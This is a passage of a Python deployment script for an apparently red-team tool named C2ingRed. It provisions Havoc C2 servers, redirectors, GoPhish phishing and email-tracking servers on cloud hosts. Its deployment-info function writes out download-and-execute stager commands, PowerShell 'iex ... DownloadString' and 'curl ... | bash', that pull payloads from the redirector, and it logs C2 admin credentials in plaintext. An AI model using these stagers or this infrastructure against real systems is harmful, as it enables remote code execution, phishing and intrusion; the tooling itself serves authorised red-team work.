logging.debug(f"Ansible stdout: {stdout}")
|
|
if stderr:
|
|
logging.debug(f"Ansible stderr: {stderr}")
|
|
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
if not c2_success:
|
|
logging.error("C2 server deployment failed")
|
|
return False
|
|
|
|
return True
|
|
|
|
def deploy_flokinet_redirector(config):
|
|
"""Deploy FlokiNET redirector separately"""
|
|
logging.info("Deploying FlokiNET redirector...")
|
|
|
|
# Verify redirector IP is provided
|
|
if not config.get('flokinet_redirector_ip'):
|
|
logging.error("FlokiNET redirector IP is required")
|
|
return False
|
|
|
|
# Set redirector_ip in config for inventory
|
|
config['redirector_ip'] = config['flokinet_redirector_ip']
|
|
|
|
# Create inventory file for redirector
|
|
inventory_path = create_inventory_file(config, "redirector")
|
|
|
|
# Run the playbook
|
|
playbook = f"{PROVIDER_DIRS['flokinet']}/redirector.yml"
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return success
|
|
except Exception as e:
|
|
logging.error(f"FlokiNET redirector deployment failed: {e}")
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return False
|
|
|
|
def deploy_flokinet_c2(config):
|
|
"""Deploy FlokiNET C2 separately"""
|
|
logging.info("Deploying FlokiNET C2 server...")
|
|
|
|
# Verify C2 IP is provided
|
|
if not config.get('flokinet_c2_ip'):
|
|
logging.error("FlokiNET C2 IP is required")
|
|
return False
|
|
|
|
# Set c2_ip in config for inventory
|
|
config['c2_ip'] = config['flokinet_c2_ip']
|
|
|
|
# Create inventory file for C2
|
|
inventory_path = create_inventory_file(config, "c2")
|
|
|
|
# Run the playbook
|
|
playbook = f"{PROVIDER_DIRS['flokinet']}/c2.yml"
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return success
|
|
except Exception as e:
|
|
logging.error(f"FlokiNET C2 deployment failed: {e}")
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return False
|
|
|
|
def run_tests(config):
|
|
"""Run deployment tests"""
|
|
provider = config['provider']
|
|
provider_dir = PROVIDER_DIRS.get(provider, provider.upper())
|
|
|
|
logging.info(f"Running {provider} tests...")
|
|
|
|
# Set provider-specific environment variables
|
|
if provider == "aws":
|
|
if config.get('aws_access_key'):
|
|
os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key']
|
|
if config.get('aws_secret_key'):
|
|
os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key']
|
|
elif provider == "linode":
|
|
if config.get('linode_token'):
|
|
os.environ['LINODE_TOKEN'] = config['linode_token']
|
|
|
|
# Run tests playbook
|
|
playbook = f"{provider_dir}/tests.yml"
|
|
if os.path.exists(playbook):
|
|
inventory_path = create_inventory_file(config, "local")
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return success
|
|
except Exception as e:
|
|
logging.error(f"Tests failed: {e}")
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return False
|
|
else:
|
|
logging.warning(f"No tests playbook found at {playbook}")
|
|
|
|
|
|
|
|
def ssh_to_instance(config):
|
|
"""SSH into the deployed instance"""
|
|
logging.info("Connecting to instance via SSH...")
|
|
|
|
# Determine which IP to use based on deployment type
|
|
if config.get('deploy_tracker'):
|
|
ip_key = 'tracker_ip'
|
|
instance_type = 'tracker'
|
|
elif config.get('redirector_only'):
|
|
ip_key = 'redirector_ip'
|
|
instance_type = 'redirector'
|
|
else:
|
|
ip_key = 'c2_ip'
|
|
instance_type = 'C2 server'
|
|
|
|
# Use provider-specific IP if available
|
|
if config['provider'] == 'flokinet':
|
|
if config.get('redirector_only') and config.get('flokinet_redirector_ip'):
|
|
ip = config['flokinet_redirector_ip']
|
|
elif config.get('c2_only') and config.get('flokinet_c2_ip'):
|
|
ip = config['flokinet_c2_ip']
|
|
else:
|
|
ip = config.get(ip_key)
|
|
else:
|
|
ip = config.get(ip_key)
|
|
|
|
if not ip:
|
|
logging.error(f"No IP address found for {instance_type}")
|
|
return False
|
|
|
|
# Get SSH key and user
|
|
ssh_key = config.get('ssh_key')
|
|
if not ssh_key:
|
|
logging.error("No SSH key specified")
|
|
return False
|
|
|
|
ssh_user = config.get('ssh_user')
|
|
if not ssh_user:
|
|
logging.error("No SSH user specified")
|
|
return False
|
|
|
|
# Build SSH command
|
|
ssh_cmd = [
|
|
"ssh",
|
|
"-o", "StrictHostKeyChecking=no",
|
|
"-o", "UserKnownHostsFile=/dev/null",
|
|
"-o", "IdentitiesOnly=yes",
|
|
"-i", ssh_key,
|
|
f"{ssh_user}@{ip}"
|
|
]
|
|
|
|
# Add port if specified
|
|
if config.get('ssh_port'):
|
|
ssh_cmd.extend(["-p", str(config['ssh_port'])])
|
|
|
|
logging.info(f"SSH command: {' '.join(ssh_cmd)}")
|
|
|
|
# Execute SSH command
|
|
try:
|
|
subprocess.run(ssh_cmd)
|
|
return True
|
|
except subprocess.CalledProcessError as e:
|
|
logging.error(f"SSH connection failed: {e}")
|
|
return False
|
|
except KeyboardInterrupt:
|
|
logging.info("SSH connection interrupted by user")
|
|
return True
|
|
|
|
def cleanup_resources(config, interactive=True):
|
|
"""Clean up resources if deployment fails"""
|
|
provider = config.get('provider')
|
|
logging.info(f"Cleaning up {provider} resources...")
|
|
|
|
# Use the correct case for provider directory
|
|
provider_dir = PROVIDER_DIRS.get(provider, provider.upper())
|
|
|
|
# If interactive, ask for confirmation before cleaning up
|
|
if interactive:
|
|
print("\n============================================================")
|
|
print("Deployment failed or was interrupted. Resources to clean up:")
|
|
redirector_name = config.get('redirector_name', 'None')
|
|
c2_name = config.get('c2_name', 'None')
|
|
tracker_name = config.get('tracker_name', 'None')
|
|
print(f" - Redirector: {redirector_name}")
|
|
print(f" - C2 Server: {c2_name}")
|
|
if config.get('deploy_tracker') and not config.get('integrated_tracker'):
|
|
print(f" - Tracker: {tracker_name}")
|
|
print("============================================================")
|
|
|
|
try:
|
|
user_choice = input("\nDo you want to clean up these resources? (y/n): ").lower()
|
|
if user_choice != 'y':
|
|
logging.info("Cleanup cancelled by user")
|
|
print("\nCleanup cancelled. Resources remain active.")
|
|
print("You can clean them up later by running with --teardown")
|
|
return False
|
|
except KeyboardInterrupt:
|
|
# Handle if the user presses Ctrl+C during input
|
|
print("\nCleanup cancelled. Resources remain active.")
|
|
print("You can clean them up later by running with --teardown")
|
|
return False
|
|
|
|
# Use Ansible for cleanup with confirmation set to false
|
|
extra_vars = {
|
|
"confirm_cleanup": False, # Skip confirmation prompt
|
|
"redirector_name": config.get('redirector_name'),
|
|
"c2_name": config.get('c2_name'),
|
|
"tracker_name": config.get('tracker_name'),
|
|
"cleanup_redirector": True,
|
|
"cleanup_c2": True,
|
|
"cleanup_tracker": config.get('deploy_tracker', False) and not config.get('integrated_tracker', False)
|
|
}
|
|
|
|
playbook = f"{provider_dir}/cleanup.yml"
|
|
if os.path.exists(playbook):
|
|
logging.info(f"Running cleanup playbook: {playbook}")
|
|
inventory_path = create_inventory_file(config, "local")
|
|
|
|
# Add extra vars to config for cleanup
|
|
cleanup_config = config.copy()
|
|
cleanup_config.update(extra_vars)
|
|
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, cleanup_config,
|
|
cleanup_config.get('debug', False)
|
|
)
|
|
|
|
if not success:
|
|
logging.error(f"Cleanup playbook failed: {stderr}")
|
|
|
|
# Log what we attempted to clean up
|
|
logging.error(f"Failed to clean up resources: redirector={config.get('redirector_name')}, c2={config.get('c2_name')}, tracker={config.get('tracker_name')}")
|
|
else:
|
|
logging.info("Cleanup completed successfully")
|
|
except Exception as e:
|
|
logging.error(f"Cleanup playbook failed: {e}")
|
|
finally:
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
else:
|
|
logging.warning(f"No cleanup playbook found at {playbook}")
|
|
|
|
# Clean up SSH key if we generated one
|
|
ssh_key = config.get('ssh_key')
|
|
if ssh_key and ssh_key.startswith(os.path.expanduser("~/.ssh/c2deploy_")):
|
|
logging.info(f"Removing generated SSH key: {ssh_key}")
|
|
try:
|
|
os.remove(ssh_key)
|
|
if os.path.exists(f"{ssh_key}.pub"):
|
|
os.remove(f"{ssh_key}.pub")
|
|
except Exception as e:
|
|
logging.error(f"Failed to remove SSH key: {e}")
|
|
|
|
return True
|
|
|
|
def check_dependencies():
|
|
"""Check if required dependencies are installed"""
|
|
dependencies = {
|
|
"ansible": "ansible-playbook --version",
|
|
"aws": "aws --version",
|
|
"linode-cli": "linode-cli --version",
|
|
}
|
|
|
|
missing = []
|
|
for dep, cmd in dependencies.items():
|
|
try:
|
|
subprocess.run(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
|
|
except (subprocess.CalledProcessError, FileNotFoundError):
|
|
missing.append(dep)
|
|
|
|
if missing:
|
|
logging.warning(f"Missing dependencies: {', '.join(missing)}")
|
|
print("\nWarning: The following dependencies are missing or not in PATH:")
|
|
for dep in missing:
|
|
print(f" - {dep}")
|
|
print("\nPlease install them to ensure proper functionality.")
|
|
print("You can install Python dependencies with: pip install -r requirements.txt")
|
|
|
|
if "ansible" in missing:
|
|
print("\nTo install Ansible: pip install ansible")
|
|
|
|
if "aws" in missing:
|
|
print("\nTo install AWS CLI: pip install awscli")
|
|
|
|
if "linode-cli" in missing:
|
|
print("\nTo install Linode CLI: pip install linode-cli")
|
|
|
|
confirm = input("\nContinue anyway? (y/n): ").lower()
|
|
if confirm != 'y':
|
|
sys.exit(1)
|
|
|
|
def teardown_infrastructure(config):
|
|
"""Tear down existing infrastructure"""
|
|
provider = config['provider']
|
|
provider_dir = PROVIDER_DIRS.get(provider, provider.upper())
|
|
logging.info(f"Tearing down {provider} infrastructure...")
|
|
|
|
# Set provider-specific environment variables
|
|
if provider == "aws":
|
|
if config.get('aws_access_key'):
|
|
os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key']
|
|
if config.get('aws_secret_key'):
|
|
os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key']
|
|
elif provider == "linode":
|
|
if config.get('linode_token'):
|
|
os.environ['LINODE_TOKEN'] = config['linode_token']
|
|
|
|
# Run cleanup playbook
|
|
playbook = f"{provider_dir}/cleanup.yml"
|
|
if os.path.exists(playbook):
|
|
# Set confirm_cleanup to false to skip confirmation in playbook
|
|
# This needs to be a plain string "false" instead of a boolean
|
|
config['confirm_cleanup'] = "false"
|
|
|
|
# Create inventory for local execution
|
|
inventory_path = create_inventory_file(config, "local")
|
|
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, config, config.get('debug', False)
|
|
)
|
|
|
|
if success:
|
|
logging.info(f"Successfully tore down {provider} infrastructure")
|
|
else:
|
|
logging.error(f"Failed to tear down {provider} infrastructure")
|
|
logging.error(stderr)
|
|
|
|
# Clean up inventory
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return success
|
|
except Exception as e:
|
|
logging.error(f"Teardown failed: {e}")
|
|
# Clean up inventory
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
return False
|
|
else:
|
|
logging.error(f"No cleanup playbook found at {playbook}")
|
|
return False
|
|
|
|
def deploy_tracker(config):
|
|
"""Deploy email tracking server with minimal resources"""
|
|
provider = config['provider']
|
|
provider_dir = PROVIDER_DIRS.get(provider, provider.upper())
|
|
|
|
logging.info(f"Deploying tracker on {provider}...")
|
|
|
|
# Set provider-specific environment variables
|
|
if provider == "aws":
|
|
if config.get('aws_access_key'):
|
|
os.environ['AWS_ACCESS_KEY_ID'] = config['aws_access_key']
|
|
if config.get('aws_secret_key'):
|
|
os.environ['AWS_SECRET_ACCESS_KEY'] = config['aws_secret_key']
|
|
elif provider == "linode":
|
|
if config.get('linode_token'):
|
|
os.environ['LINODE_TOKEN'] = config['linode_token']
|
|
|
|
# Override configuration for minimal tracker deployment
|
|
tracker_config = config.copy()
|
|
|
|
# Use smaller instance sizes for tracker
|
|
if provider == "linode":
|
|
tracker_config['plan'] = 'g6-nanode-1' # Smallest viable Linode plan
|
|
tracker_config['image'] = 'linode/debian12' # Use Debian instead of Kali
|
|
elif provider == "aws":
|
|
tracker_config['instance_type'] = 't2.micro' # Smallest viable AWS instance
|
|
# For AWS, specify a Debian/Ubuntu AMI instead of Kali
|
|
if 'ami_map' in tracker_config:
|
|
# Try to find a Debian/Ubuntu AMI for the region
|
|
region = tracker_config.get('aws_region', tracker_config.get('region'))
|
|
for ami_id, ami_info in tracker_config.get('ami_map', {}).items():
|
|
if 'ubuntu' in ami_id.lower() or 'debian' in ami_id.lower():
|
|
tracker_config['ami_id'] = ami_id
|
|
break
|
|
|
|
# Determine playbook path
|
|
playbook = f"{provider_dir}/tracker.yml"
|
|
if not os.path.exists(playbook):
|
|
logging.error(f"Tracker playbook not found at {playbook}")
|
|
return False
|
|
|
|
# Create inventory file
|
|
inventory_path = create_inventory_file(tracker_config, "local")
|
|
|
|
# Run the playbook
|
|
try:
|
|
success, stdout, stderr = run_ansible_playbook(
|
|
playbook, inventory_path, tracker_config, tracker_config.get('debug', False)
|
|
)
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return success
|
|
except Exception as e:
|
|
logging.error(f"Tracker deployment failed: {e}")
|
|
|
|
# Clean up inventory file
|
|
if os.path.exists(inventory_path):
|
|
os.unlink(inventory_path)
|
|
|
|
return False
|
|
|
|
def generate_deployment_info(config, success=True):
|
|
"""Generate a comprehensive deployment information log file"""
|
|
deployment_id = config.get('deployment_id', generate_random_string())
|
|
log_file = os.path.join("logs", f"deployment_info_{deployment_id}.log")
|
|
|
|
# Ensure log directory exists
|
|
os.makedirs("logs", exist_ok=True)
|
|
|
|
# Start collecting information
|
|
info = []
|
|
info.append("=" * 80)
|
|
info.append(f"C2ingRed Deployment Information - {deployment_id}")
|
|
info.append("=" * 80)
|
|
info.append("")
|
|
|
|
# Basic deployment info
|
|
info.append("DEPLOYMENT OVERVIEW")
|
|
info.append("-----------------")
|
|
info.append(f"Deployment ID: {deployment_id}")
|
|
info.append(f"Deployment Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
|
|
info.append(f"Provider: {config.get('provider', 'N/A')}")
|
|
info.append(f"Deployment Status: {'SUCCESS' if success else 'FAILED'}")
|
|
info.append(f"Domain: {config.get('domain', 'N/A')}")
|
|
|
|
# Deployment type
|
|
deployment_type = "Full Deployment"
|
|
if config.get('redirector_only'):
|
|
deployment_type = "Redirector Only"
|
|
elif config.get('c2_only'):
|
|
deployment_type = "C2 Server Only"
|
|
elif config.get('deploy_tracker') and not config.get('integrated_tracker'):
|
|
deployment_type = "Standalone Tracker"
|
|
elif config.get('deploy_tracker') and config.get('integrated_tracker'):
|
|
deployment_type = "Full Deployment with Integrated Tracker"
|
|
info.append(f"Deployment Type: {deployment_type}")
|
|
info.append("")
|
|
|
|
# Server Information
|
|
info.append("SERVER INFORMATION")
|
|
info.append("-----------------")
|
|
ssh_key = config.get('ssh_key', 'N/A')
|
|
ssh_user = config.get('ssh_user', 'root')
|
|
|
|
if not config.get('c2_only'):
|
|
redirector_ip = config.get('redirector_ip', 'N/A')
|
|
info.append("Redirector:")
|
|
info.append(f" Name: {config.get('redirector_name', 'N/A')}")
|
|
info.append(f" IP: {redirector_ip}")
|
|
info.append(f" Domain: {config.get('redirector_subdomain', 'cdn')}.{config.get('domain', 'N/A')}")
|
|
# SSH command for redirector
|
|
if redirector_ip != 'N/A' and ssh_key != 'N/A':
|
|
info.append(f" SSH Command: ssh -i {ssh_key} {ssh_user}@{redirector_ip}")
|
|
|
|
if not config.get('redirector_only'):
|
|
c2_ip = config.get('c2_ip', 'N/A')
|
|
info.append("C2 Server:")
|
|
info.append(f" Name: {config.get('c2_name', 'N/A')}")
|
|
info.append(f" IP: {c2_ip}")
|
|
info.append(f" Domain: {config.get('c2_subdomain', 'mail')}.{config.get('domain', 'N/A')}")
|
|
# SSH command for C2
|
|
if c2_ip != 'N/A' and ssh_key != 'N/A':
|
|
info.append(f" SSH Command: ssh -i {ssh_key} {ssh_user}@{c2_ip}")
|
|
|
|
if config.get('deploy_tracker') and not config.get('integrated_tracker'):
|
|
tracker_ip = config.get('tracker_ip', 'N/A')
|
|
info.append("Tracker Server:")
|
|
info.append(f" Name: {config.get('tracker_name', 'N/A')}")
|
|
info.append(f" IP: {tracker_ip}")
|
|
info.append(f" Domain: {config.get('tracker_domain', 'track.' + config.get('domain', 'N/A'))}")
|
|
# SSH command for tracker
|
|
if tracker_ip != 'N/A' and ssh_key != 'N/A':
|
|
info.append(f" SSH Command: ssh -i {ssh_key} {ssh_user}@{tracker_ip}")
|
|
|
|
info.append("")
|
|
|
|
# SSH Information
|
|
info.append("SSH INFORMATION")
|
|
info.append("--------------")
|
|
info.append(f"SSH Key: {ssh_key}")
|
|
info.append(f"SSH User: {ssh_user}")
|
|
if config.get('ssh_port'):
|
|
info.append(f"SSH Port: {config.get('ssh_port')}")
|
|
info.append("")
|
|
|
|
# Extract Havoc C2 information - check all possible variable names
|
|
havoc_admin_user = config.get('havoc_admin_user') or config.get('admin_user') or 'admin'
|
|
havoc_admin_password = config.get('havoc_admin_password') or config.get('admin_pass')
|
|
havoc_teamserver_port = config.get('havoc_teamserver_port') or config.get('teamserver_port') or 40056
|
|
havoc_http_port = config.get('havoc_http_port') or config.get('http_port') or 8080
|
|
havoc_https_port = config.get('havoc_https_port') or config.get('https_port') or 443
|
|
shell_handler_port = config.get('shell_handler_port') or 4444
|
|
gophish_admin_port = config.get('gophish_admin_port') or 3333
|
|
|
|
# Port Information
|
|
info.append("PORT INFORMATION")
|
|
info.append("---------------")
|
|
info.append(f"HTTP Port: {havoc_http_port}")
|
|
info.append(f"HTTPS Port: {havoc_https_port}")
|
|
info.append(f"Teamserver Port: {havoc_teamserver_port}")
|
|
info.append(f"Shell Handler Port: {shell_handler_port}")
|
|
info.append(f"GoPhish Admin Port: {gophish_admin_port}")
|
|
info.append("")
|
|
|
|
# Havoc C2 Credentials
|
|
info.append("HAVOC C2 CREDENTIALS")
|
|
info.append("------------------")
|
|
info.append(f"Admin User: {havoc_admin_user}")
|
|
if havoc_admin_password:
|
|
info.append(f"Admin Password: {havoc_admin_password}")
|
|
else:
|
|
info.append("Admin Password: Check /root/Tools/havoc/data/profiles/default.yaotl on C2 server")
|
|
info.append("")
|
|
|
|
# DNS Configuration
|
|
info.append("DNS CONFIGURATION")
|
|
info.append("----------------")
|
|
info.append("Required DNS Records:")
|
|
if not config.get('c2_only'):
|
|
info.append(f" {config.get('redirector_subdomain', 'cdn')}.{config.get('domain', 'example.com')} -> {config.get('redirector_ip', 'N/A')} (A Record)")
|
|
|
|
if not config.get('redirector_only'):
|
|
info.append(f" {config.get('c2_subdomain', 'mail')}.{config.get('domain', 'example.com')} -> {config.get('c2_ip', 'N/A')} (A Record)")
|
|
info.append(f" {config.get('domain', 'example.com')} -> {config.get('c2_ip', 'N/A')} (A Record)")
|
|
|
|
if config.get('deploy_tracker') and not config.get('integrated_tracker'):
|
|
info.append(f" {config.get('tracker_domain', 'track.' + config.get('domain', 'example.com'))} -> {config.get('tracker_ip', 'N/A')} (A Record)")
|
|
elif config.get('deploy_tracker') and config.get('integrated_tracker'):
|
|
info.append(f" {config.get('tracker_domain', 'track.' + config.get('domain', 'example.com'))} -> {config.get('c2_ip', 'N/A')} (A Record)")
|
|
|
|
info.append("")
|
|
|
|
# OPSEC Settings
|
|
info.append("OPSEC SETTINGS")
|
|
info.append("-------------")
|
|
info.append(f"Zero Logs: {'Enabled' if config.get('zero_logs') else 'Disabled'}")
|
|
info.append(f"Secure Memory: {'Enabled' if config.get('secure_memory') else 'Disabled'}")
|
|
info.append(f"Command History: {'Disabled' if config.get('disable_history') else 'Enabled'}")
|
|
info.append(f"Randomized Ports: {'Enabled' if config.get('randomize_ports') else 'Disabled'}")
|
|
info.append("")
|
|
|
|
# Connection Commands
|
|
info.append("CONNECTION COMMANDS")
|
|
info.append("-----------------")
|
|
|
|
if not config.get('redirector_only'):
|
|
c2_ip = config.get('c2_ip', 'YOUR_C2_IP')
|
|
info.append(f"Havoc Teamserver: ./havoc client --address {c2_ip}:{havoc_teamserver_port} --username {havoc_admin_user} --password {havoc_admin_password or '[password]'}")
|
|
|
|
if not config.get('c2_only'):
|
|
redirector_domain = f"{config.get('redirector_subdomain', 'cdn')}.{config.get('domain', 'example.com')}"
|
|
info.append(f"PowerShell Payload: powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('https://{redirector_domain}/windows_stager.ps1')\"")
|
|
info.append(f"Linux Payload: curl -s https://{redirector_domain}/linux_stager.sh | bash")
|
|
|
|
info.append("")
|
|
|
|
# Post-Deployment Instructions
|
|
info.append("POST-DEPLOYMENT INSTRUCTIONS")
|
|
info.append("--------------------------")
|
|
info.append("1. Configure DNS records as listed above")
|
|
info.append("2. Run the post-install script on your C2 server:")
|
|
info.append(" /root/Tools/post_install_c2.sh")
|
|
if not config.get('c2_only'):
|
|
info.append("3. Run the post-install script on your redirector:")
|
|
info.append(" /root/Tools/post_install_redirector.sh")
|
|
|
|
info.append("")
|
|
info.append("CLEANUP COMMAND")
|
|
info.append("---------------")
|
|
info.append(f"./deploy.py --provider {config.get('provider', 'PROVIDER')} --teardown")
|
|
if config.get('provider') == 'linode':
|
|
info.append(f"Additional parameters: --linode-token YOUR_TOKEN --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}")
|
|
elif config.get('provider') == 'aws':
|
|
info.append(f"Additional parameters: --aws-key YOUR_KEY --aws-secret YOUR_SECRET --c2-name {config.get('c2_name', 'C2_NAME')} --redirector-name {config.get('redirector_name', 'REDIRECTOR_NAME')}")
|
|
|
|
# Write to file
|
|
with open(log_file, 'w') as f:
|
|
f.write('\n'.join(info))
|
|
|
|
logging.info(f"Deployment information saved to {log_file}")
|
|
return log_file
|
|
|
|
def main():
|
|
"""Main function to run the deployment"""
|
|
# Display banner
|
|
print("""
|
|
========================================
|
|
C2ingRed - Red Team Infrastructure Setup
|
|
========================================
|
|
""")
|
|
|
|
# Parse command line arguments first (don't set up logging yet)
|
|
args = parse_arguments()
|
|
|
|
# Check dependencies
|
|
check_dependencies()
|
|
|
|
# Generate a single deployment ID that will be used for EVERYTHING
|
|
deployment_id = generate_deployment_id()
|
|
|
|
# NOW set up logging with our deployment ID
|
|
log_file = setup_logging(deployment_id)
|
|
|
|
# Use interactive mode if specified
|
|
if args.interactive:
|
|
config = interactive_setup(deployment_id)
|
|
else:
|
|
# Override provider if --flokinet is specified
|
|
if args.flokinet:
|
|
args.provider = "flokinet"
|
|
|
|
# Load variables from provider-specific vars.yaml if provider is specified
|
|
vars_data = {}
|
|
if args.provider:
|
|
provider_dir = PROVIDER_DIRS.get(args.provider, args.provider.upper())
|
|
vars_file = f"{provider_dir}/vars.yaml"
|
|
if os.path.exists(vars_file):
|
|
try:
|
|
with open(vars_file, 'r') as f:
|
|
vars_data = yaml.safe_load(f) or {}
|
|
logging.info(f"Loaded configuration from {vars_file}")
|
|
except Exception as e:
|
|
logging.warning(f"Failed to load {vars_file}: {e}")
|
|
|
|
# Build configuration by combining args and vars_data
|
|
config = {}
|
|
|
|
# Provider settings
|
|
config['provider'] = args.provider
|
|
|
|
# Copy all values from vars_data to config first
|
|
for key, value in vars_data.items():
|
|
config[key] = value
|
|
|
|
# Store the deployment ID in the config
|
|
config['deployment_id'] = deployment_id
|
|
|
|
# Use consistent deployment ID for all resource names
|
|
config['redirector_name'] = args.redirector_name or f"r-{deployment_id}"
|
|
config['c2_name'] = args.c2_name or f"s-{deployment_id}"
|
|
config['tracker_name'] = args.tracker_name or f"t-{deployment_id}"
|
|
|
|
# Subdomain settings - ensure these are explicitly set
|
|
config['redirector_subdomain'] = args.redirector_subdomain or 'cdn'
|
|
config['c2_subdomain'] = args.c2_subdomain or 'mail'
|
|
|
|
# AWS settings
|
|
if args.provider == "aws":
|
|
config['aws_access_key'] = args.aws_key or vars_data.get('aws_access_key')
|
|
config['aws_secret_key'] = args.aws_secret or vars_data.get('aws_secret_key')
|
|
config['aws_region'] = args.aws_region or args.region or vars_data.get('aws_region')
|
|
config['aws_region_choices'] = vars_data.get('aws_region_choices', [])
|
|
config['ami_map'] = vars_data.get('ami_map', {})
|
|
config['size'] = args.size or vars_data.get('aws_instance_type', 't2.medium')
|
|
|
|
# Linode settings
|
|
elif args.provider == "linode":
|
|
config['linode_token'] = args.linode_token or vars_data.get('linode_token')
|
|
config['linode_region'] = args.linode_region or args.region or vars_data.get('linode_region')
|
|
# Ensure region_choices are correctly set
|
|
config['region_choices'] = vars_data.get('region_choices', [])
|
|
config['plan'] = args.size or vars_data.get('plan', 'g6-standard-2')
|
|
config['image'] = vars_data.get('image', 'linode/kali')
|
|
config['redirector_image'] = vars_data.get('redirector_image', 'linode/debian11')
|
|
|
|
# FlokiNET settings
|
|
elif args.provider == "flokinet":
|
|
config['flokinet_redirector_ip'] = args.flokinet_redirector_ip or vars_data.get('redirector_ip')
|
|
config['flokinet_c2_ip'] = args.flokinet_c2_ip or vars_data.get('c2_ip')
|
|
config['flokinet_region_choices'] = vars_data.get('flokinet_region_choices', [])
|
|
config['ssh_port'] = vars_data.get('ssh_port', 22)
|
|
|
|
# SSH settings - explicitly set SSH user to avoid template recursion
|
|
if args.provider == "linode":
|
|
config['ssh_user'] = "root"
|
|
elif args.provider == "aws":
|
|
config['ssh_user'] = "kali"
|
|
else:
|
|
config['ssh_user'] = args.ssh_user or vars_data.get('ssh_user') or (DEFAULT_SSH_USER.get(args.provider) if args.provider else None)
|
|
|
|
if args.ssh_key:
|
|
config['ssh_key'] = os.path.expanduser(args.ssh_key)
|
|
else:
|
|
# Generate a key if no key is provided and we're not in teardown mode
|
|
if not args.teardown:
|
|
config['ssh_key'] = generate_ssh_key(deployment_id)
|
|
|
|
# Deployment options
|
|
config['redirector_only'] = args.redirector_only
|
|
config['c2_only'] = args.c2_only
|
|
config['debug'] = args.debug
|
|
config['domain'] = args.domain or vars_data.get('domain', 'example.com')
|
|
config['letsencrypt_email'] = args.letsencrypt_email or vars_data.get('letsencrypt_email', f"admin@{config['domain']}")
|
|
|
|
# OPSEC settings
|
|
config['disable_history'] = args.disable_history if args.disable_history is not None else vars_data.get('disable_history', True)
|
|
config['secure_memory'] = args.secure_memory if args.secure_memory is not None else vars_data.get('secure_memory', True)
|
|
config['zero_logs'] = args.zero_logs if args.zero_logs is not None else vars_data.get('zero_logs', True)
|
|
|
|
# Other settings from vars_data
|
|
config['gophish_admin_port'] = vars_data.get('gophish_admin_port', str(random.randint(2000, 9000)))
|
|
config['smtp_auth_user'] = vars_data.get('smtp_auth_user', f"user{random.randint(1000, 9999)}")
|
|
config['smtp_auth_pass'] = vars_data.get('smtp_auth_pass', ''.join(random.choices(string.ascii_letters + string.digits, k=20)))
|
|
config['shell_handler_port'] = vars_data.get('shell_handler_port', str(random.randint(4000, 65000)))
|
|
|
|
# Tracker options
|
|
config['deploy_tracker'] = args.deploy_tracker
|
|
config['integrated_tracker'] = args.integrated_tracker
|
|
if args.deploy_tracker:
|
|
config['tracker_domain'] = args.tracker_domain or f"track.{config['domain']}"
|
|
config['tracker_email'] = args.tracker_email or config['letsencrypt_email']
|
|
config['tracker_ipinfo_token'] = args.tracker_ipinfo_token
|
|
config['tracker_setup_ssl'] = args.tracker_setup_ssl
|
|
config['tracker_create_pixel'] = args.tracker_create_pixel
|
|
|
|
# Set the integrated tracker flag for deployment
|
|
if args.integrated_tracker:
|
|
config['setup_integrated_tracker'] = True
|
|
|
|
# SSH after deploy
|
|
config['ssh_after_deploy'] = args.ssh_after_deploy
|
|
|
|
# Run tests
|
|
config['run_tests'] = args.run_tests
|
|
|
|
# Make sure we have the public key path if we're generating one
|
|
if config.get('ssh_key') and config['ssh_key'].startswith(os.path.expanduser("~/.ssh/c2deploy_")):
|
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
|
elif config.get('ssh_key'):
|
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
|
# Check if the public key exists
|
|
if not os.path.exists(config['ssh_key_path']):
|
|
# Try alternative extension
|
|
alt_path = f"{config['ssh_key']}.pub"
|
|
if os.path.exists(alt_path):
|
|
config['ssh_key_path'] = alt_path
|
|
elif not args.teardown: # Only generate new key if not in teardown mode
|
|
logging.warning(f"Public key not found at {config['ssh_key_path']}. Generating a new key.")
|
|
config['ssh_key'] = generate_ssh_key(deployment_id)
|
|
config['ssh_key_path'] = f"{config['ssh_key']}.pub"
|
|
|
|
# Validate deployment mode
|
|
if config.get('redirector_only') and config.get('c2_only'):
|
|
logging.error("Cannot specify both --redirector-only and --c2-only")
|
|
return
|
|
|
|
# Log configuration (excluding sensitive data)
|
|
logging.info("Deployment configuration:")
|
|
for key, value in config.items():
|
|
